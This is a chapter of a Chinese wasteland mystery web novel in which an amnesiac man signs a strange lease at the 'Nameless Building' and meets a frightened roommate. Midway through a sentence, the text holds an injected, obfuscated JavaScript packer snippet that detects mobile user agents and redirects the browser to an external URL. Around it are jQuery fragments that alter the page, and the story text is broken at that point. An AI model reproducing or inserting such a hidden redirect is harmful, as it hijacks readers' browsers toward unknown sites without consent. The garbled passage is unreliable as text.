“就是这个地址吗？”
时安之看看手里那页纸，又抬头看看眼前这栋破败的七层小楼。
手里的租房广告纸质很差，被路边卷着沙尘的狂风一吹，几乎就要碎掉了。上面飘飘荡荡地印着：
公寓招租，不收租金，不查户籍。
嗯，怎么看怎么像诈骗犯。
时安之叹了口气。
他也不是冤大头，会揭下这广告实在属于无奈之举。
三天前，时安之从不知持续了多久的休眠中醒来，发现休眠舱已经被打开，他的身体和意识都在逐渐解冻复苏。
对于自己是谁、为什么会进入休眠，时安之没有一点记忆。但双脚刚落地，知觉尚在麻木状态，他就发现自己正身处一场莫大的危机之中。
举目四望都是雪白，这里显然是一间实验室或类似性质的地方。然而此刻，周围热浪滚滚，蒸得刚解冻的皮肤干涩作痛，所有能见到的器械全部翻倒、支离破碎，窗户和门上的玻璃也都碎裂一地，天花板上有道巨大的焦黑痕迹。
时安之迅速意识到，这个地方一定刚发生过一场爆炸。
鬼知道是因为什么。鬼知道还会有什么后续。
瞬间暴涨的求生欲让他当机立断，翻窗而出，离开了那栋建筑物。
再然后，他就华丽丽地沦为了废土世界的流浪汉一名……
除了脖子上挂着的一个名牌，印着“时安之，二十六岁”之外，他没有任何关于自己身份的线索。
除了身上穿着的一件宽大单薄的浅青色外衫之外，他也没有任何随身衣物或行李，更没有可以自保的武器。
在处处都是辐射和酸雨的废土之上，一个像他这样的流浪汉，横死街头只是时间长短的问题。这里早就没有人类的都市，也不再有旧世界的丛林、河流和海洋，有的只有无尽的荒芜与污染，以及永远都在蔓延的死亡。
哦，还有残编管理局的巡逻队。这些冷血猎人扛着长枪短炮，日夜不断地搜寻着各地未登记的流浪汉，捉走后关押、编入集中管制营，洗脑成对他们言听计从的劳作奴隶。
在这里，时安之别无选择。他必须找到一个落脚之处。
毕竟，还能有比现在更坏的情况么？
他推开了门。
入目是一条长廊。楼里的光线很昏暗，只燃着一盏油腻腻的黄灯，时安之轻声道：“你好，请问有人吗？”
一片寂静。
空气有一种冷冰冰的油腻感，令人起白毛汗。时安之略微有点退缩，刚想把探进去的一只脚收回来，思索是不是要再考虑考虑。
突然之间，背后就被什么东西猛力一推。他一下子跌进了门内。
那盏灯刹那熄灭了。
大门传来合拢的响声，最后的光源也消失了。
时安之瞬间被吞没在黑暗里。下一秒，长廊无尽的阴影中，传来了清脆的高跟鞋声，一下，两下。渐渐靠近。
我靠，我这是进到什么地方了。
时安之咽了口唾沫，手往后摸到了大门上，不动声色地找了一圈。
居然没有门把手。
什么破设计！
高跟鞋越来越近。时安之用力推门，那门纹丝不动，他正在考虑是不是不顾一切地砸门逃跑时，那声音终于停了下来。
然后一束幽幽的火光在面前亮起。
浓稠的黑暗中，一张惨白的女人面容倏忽闪现。
那张大白脸配上大红唇，酒红色的碎发扫在脸侧，活脱脱一张女鬼面。时安之的心跳顿时都漏了一拍。
但这时女鬼面就开口了：
“来租房子的么？”
“……”
时安之：“……嗯，我来租房。”
酒红短发、黑色裙子的高挑女人立在原地，提着盏风灯笼打量他，目光深深，有好半晌都没说一句话。
在时安之的手心又开始冒汗时，她才终于沉声道：“跟我来吧。”
“租约合同在这里，你看下，没有问题就签名。”
女人拍亮屋子里的灯，在他面前摊开一张泛黄的纸。
时安之垂眸，留心看了看合同上的署名，房东的名字叫越红。
“我就是房东。”女人主动自我介绍。
“哦，你就是越红老板。”时安之礼貌道。
他低头，大致翻了翻这两面合同。让他意外的是，租约内容非常简短，总结起来重要的就只有这么几条：
1. 在租期结束之前，租客不被允许离开“楼”。
2. 每个租期结束时，租客需向“楼”缴纳七枚印章。
3. 租客不能在“楼”内持续居住超过七日，否则将接受惩罚。
另还有一些细则，如“租客不被允许触碰房东”“租客不被允许进入房东的房间”之类的，看起来古里古怪，时安之暂时不打算去在意。他看着这页合同，好一会儿，眨了眨眼睛：
“我有问题。”
“你说。”越红看着他。
“首先，合同里没有写租期的时长。”时安之道，“不可能只有七天吧？”
“当然不是。”
越红笑了一下，那张红唇拧起来像一片纤细的落叶：“租期的长短，由租客自己来决定。我不能决定。”
“你什么时候集齐七枚印章，什么时候就能结束这个租期。”
“那如果我不想结束呢？”
“如果你愿意的话，也完全可以在这儿住一辈子。”越红慢悠悠地说。
“会有这么好的事？”时安之表示怀疑，“合同上写你们不仅包住还包吃，真的假的。”
越红道：“千真万确。”
“不过，是不是好事，在我们这儿，不同的租客有不同的看法。”
时安之看着女房东浅色的眼睛，在暗淡的灯光下，那里面几乎泛出一种诡异的金色光泽。
这给他的感觉并不好。时安之重新垂下眼睛思索，纤细的手指一一划过那几个条款，又在某一条停下来。
“第二个问题。”他说，“能问吗？这七个印章是什么东西，要从什么地方得到？”
“只要住进来成为租客，这个问题就可以得到解答。”越红平静地回答。
“你不能直接告诉我么？”
“很抱歉，这方面我无法对租客之外的人透露过多讯息。”
——这就是你们的房子租不出去，只能到处发小广告的原因。时安之在心中吐槽道。
“好吧，最后一个问题。”他重新看了一遍合同，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17283920|198402||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
把纸张轻轻翻回来，抬头看着女房东。
“你们这儿提供能穿的衣物么？”
时安之对她腼腆一笑。他本就比常人更消瘦些，此时还罩着从实验室里带出来的那件宽大的浅青色外衫，几乎没有任何版型剪裁，长度也就堪堪遮到膝盖，露出下面洁白笔直却细伶伶的两截小腿。
他摸了摸鼻子，有些不好意思地道：“我实在是没有衣服穿了。”
越红似乎也很轻地笑了一下，并没有觉得奇怪。大概她见到的黑户和流浪汉实在太多了。
“当然，我们会提供。”她说。
时安之耸了耸肩，对她伸出手掌。
“笔。”
红色的墨水笔落在他手心。时安之在粗粝的纸张末尾飞快写下一个飘逸的签名，落笔时才发现，自己的字迹要比想象中好看一些。
他签好名字抬头，发现女房东正漆漆地注视着自己。
“怎么？”
“你签得还真快。”越红喃喃道。
“哦，这不是你想要的吗？”时安之把合同推还给她。
“很少有人能这么快做出决定。”越红说，“你知道，租客们总是很挑剔，他们的问题非常多。”
“真好。”时安之淡淡地说，“听上去他们还有选择。”
对于有选择的人，他们也许考量到最后，并不会签下这张合同。但对于孤注一掷的人来说，他是站在一团迷雾中，前方全是黑暗，只能摸索出这条唯一的路，孤注一掷地走下去。没有其他办法。
越红不置可否，她收下那张租约，时安之红色的签名在她手下闪过一道鲜艳的火光，文字仿佛在熊熊燃烧。
她站起身，从身后的大柜子中取下一串老式的金属钥匙，递给时安之。
钥匙上用记号笔歪歪扭扭地写着“103”。
“那么，祝你好运，亲爱的租客。”越红说。
“欢迎来到‘无名之楼’，你的第一个租期，从现在开始。要来见见你的室友么？”
时安之没有衣兜，只能将沉甸甸的钥匙勾在小指上。他看着女房东，困惑地偏了下头：“我还有室友？你们租的是几人间？”
“空房不多了，这一轮租期格外满。”越红道。
她打开门，带着时安之向长廊深处走去，一边道：“你有一个室友，他也是刚刚入住。”
在黑暗之中走了几分钟，突然啪的一声，不知道越红按了什么地方，他们身边又亮起一盏小灯。
时安之看见，墙壁上嵌着一扇老旧的蓝色防盗门，锈迹已经有些斑驳了。门上用暗红色的油漆印刷着“103”。
他转头看了看越红。女房东也看着他，道：“用你的钥匙吧。”
时安之吸了口气，将钥匙塞进了门上的老式锁孔。转动得意外顺畅，很快，机关传来轻响，门应声而开。
暖白的光芒刹那将他淹没。
等时安之缓过那道光线，再睁开眼睛时，越红的身影已经消失了。他站在一间公寓门口的玄关处，脚下踩着一张柔软的地毯。
一个比他还要衣衫褴褛的流浪汉站在客厅，瞠目结舌地看着他。
两秒之后，男人向时安之冲了过来。
“——救救我！”他大叫，“我要出去！”